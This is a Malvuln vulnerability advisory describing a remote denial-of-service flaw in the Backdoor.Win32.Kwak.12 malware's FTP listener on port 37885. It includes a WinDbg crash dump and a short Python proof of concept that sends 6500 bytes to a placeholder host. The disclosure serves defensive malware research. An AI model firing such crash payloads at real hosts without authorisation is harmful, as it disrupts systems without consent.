Backdoor.Win32.Kwak.12 malware suffers from a denial of service vulnerability.
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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c25393545e5ead3a35996ef9a887bd34_C.txt
Contact: malvuln13@gmail.com
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Threat: Backdoor.Win32.Kwak.12
Vulnerability: Remote Denial of Service
Description: The backdoor runs an FTP server that listens on TCP port 37885. Attackers who can reach the infected host can send a payload of around 6500 bytes using socket program to cause an unknown internal exception to crash the malware.
Type: PE32
MD5: c25393545e5ead3a35996ef9a887bd34
Vuln ID: MVID-2021-0146
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 03/25/2021
Memory Dump:
(d30.1084): Unknown exception - code 0eedfade (first/second chance not available)
eax=0019fd18 ebx=03fa4458 ecx=00000007 edx=00000000 esi=03fa3af0 edi=03fa49b0
eip=75eb08f2 esp=0019fd18 ebp=0019fd70 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
KERNELBASE!RaiseException+0x62:
75eb08f2 8b4c2454 mov ecx,dword ptr [esp+54h] ss:002b:0019fd6c=af5cfeac
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
KERNELBASE!RaiseException+62
75eb08f2 8b4c2454 mov ecx,dword ptr [esp+54h]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 75eb08f2 (KERNELBASE!RaiseException+0x00000062)
ExceptionCode: 0eedfade
ExceptionFlags: 00000001
NumberParameters: 7
Parameter[0]: 004151a2
Parameter[1]: 03fa6724
Parameter[2]: 03fa4458
Parameter[3]: 03fa3af0
Parameter[4]: 03fa49b0
Parameter[5]: 0019fdac
Parameter[6]: 0019fda4
DEFAULT_BUCKET_ID: DELPHI_EXCEPTION
PROCESS_NAME: Backdoor.Win32.Kwak.12.c25393545e5ead3a35996ef9a887bd34.exe
ERROR_CODE: (NTSTATUS) 0xeedfade - <Unable to get error code text>
EXCEPTION_CODE: (Win32) 0xeedfade (250477278) - <Unable to get error code text>
EXCEPTION_PARAMETER1: 004151a2
EXCEPTION_PARAMETER2: 03fa6724
EXCEPTION_PARAMETER3: 03fa4458
EXCEPTION_PARAMETER4: 3fa3af0
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00001084
PRIMARY_PROBLEM_CLASS: DELPHI_EXCEPTION
BUGCHECK_STR: APPLICATION_FAULT_DELPHI_EXCEPTION
LAST_CONTROL_TRANSFER: from 004490f9 to 75eb08f2
STACK_TEXT:
0019fdbc 004490f9 03fa3af0 03fa234c 03fa3af0 KERNELBASE!RaiseException+0x62
WARNING: Stack unwind information not available. Following frames may be wrong.
0019fdf0 004490f9 03fa234c 03fa234c 03fa234c Backdoor_Win32_Kwak_12_c25393545e5ead3a35996ef9a887bd34!Ftpsrvcinitialization$qqrv+0x333d1
0019fe6c 004017fa 0019ff01 0019feac 00455c3f Backdoor_Win32_Kwak_12_c25393545e5ead3a35996ef9a887bd34!Ftpsrvcinitialization$qqrv+0x333d1
0019fea0 004017a5 03fa1fd0 0019ff70 00455c3f Backdoor_Win32_Kwak_12_c25393545e5ead3a35996ef9a887bd34!_GetExceptDLLinfo+0x7a1
0019fed4 004490f9 0046119e 0044c754 00428d70 Backdoor_Win32_Kwak_12_c25393545e5ead3a35996ef9a887bd34!_GetExceptDLLinfo+0x74c
0019ff04 0045b8cf 00000000 00461330 00000000 Backdoor_Win32_Kwak_12_c25393545e5ead3a35996ef9a887bd34!Ftpsrvcinitialization$qqrv+0x333d1
0019ff2c 0045b91e 004674e4 00000001 00000000 Backdoor_Win32_Kwak_12_c25393545e5ead3a35996ef9a887bd34!Ftpsrvcinitialization$qqrv+0x45ba7
0019ff50 0045ac48 00000000 00000000 00000000 Backdoor_Win32_Kwak_12_c25393545e5ead3a35996ef9a887bd34!Ftpsrvcinitialization$qqrv+0x45bf6
0019ff64 0045baf4 00000000 0019ffcc 0045688c Backdoor_Win32_Kwak_12_c25393545e5ead3a35996ef9a887bd34!Ftpsrvcinitialization$qqrv+0x44f20
0019ff80 76198654 002b8000 76198630 c91b9631 Backdoor_Win32_Kwak_12_c25393545e5ead3a35996ef9a887bd34!Ftpsrvcinitialization$qqrv+0x45dcc
0019ff94 77104a77 002b8000 3d0540e2 00000000 kernel32!BaseThreadInitThunk+0x24
0019ffdc 77104a47 ffffffff 77129eb7 00000000 ntdll!__RtlUserThreadStart+0x2f
0019ffec 00000000 00483060 002b8000 00000000 ntdll!_RtlUserThreadStart+0x1b
STACK_COMMAND: ~0s; .ecxr ; kb
FOLLOWUP_IP:
Backdoor_Win32_Kwak_12_c25393545e5ead3a35996ef9a887bd34!Ftpsrvcinitialization$qqrv+333d1
004490f9 8b5e10 mov ebx,dword ptr [esi+10h]
SYMBOL_STACK_INDEX: 1
SYMBOL_NAME: backdoor_win32_kwak_12!Ftpsrvcinitialization$qqrv+333d1
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: Backdoor_Win32_Kwak_12_c25393545e5ead3a35996ef9a887bd34
IMAGE_NAME: Backdoor.Win32.Kwak.12.c25393545e5ead3a35996ef9a887bd34.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 39a61aec
BUCKET_ID: APPLICATION_FAULT_DELPHI_EXCEPTION_backdoor_win32_kwak_12!Ftpsrvcinitialization$qqrv+333d1
FAILURE_BUCKET_ID: DELPHI_EXCEPTION_eedfade_Backdoor.Win32.Kwak.12.c25393545e5ead3a35996ef9a887bd34.exe!Ftpsrvcinitialization$qqrv
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=37885
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD="A"*6500
s.send(PAYLOAD)
s.close()
print("Backdoor.Win32.Kwak.12 / Remote Denial of Service")
print("MD5: c25393545e5ead3a35996ef9a887bd34")
print("By Malvuln")
if __name__=="__main__":
doit()
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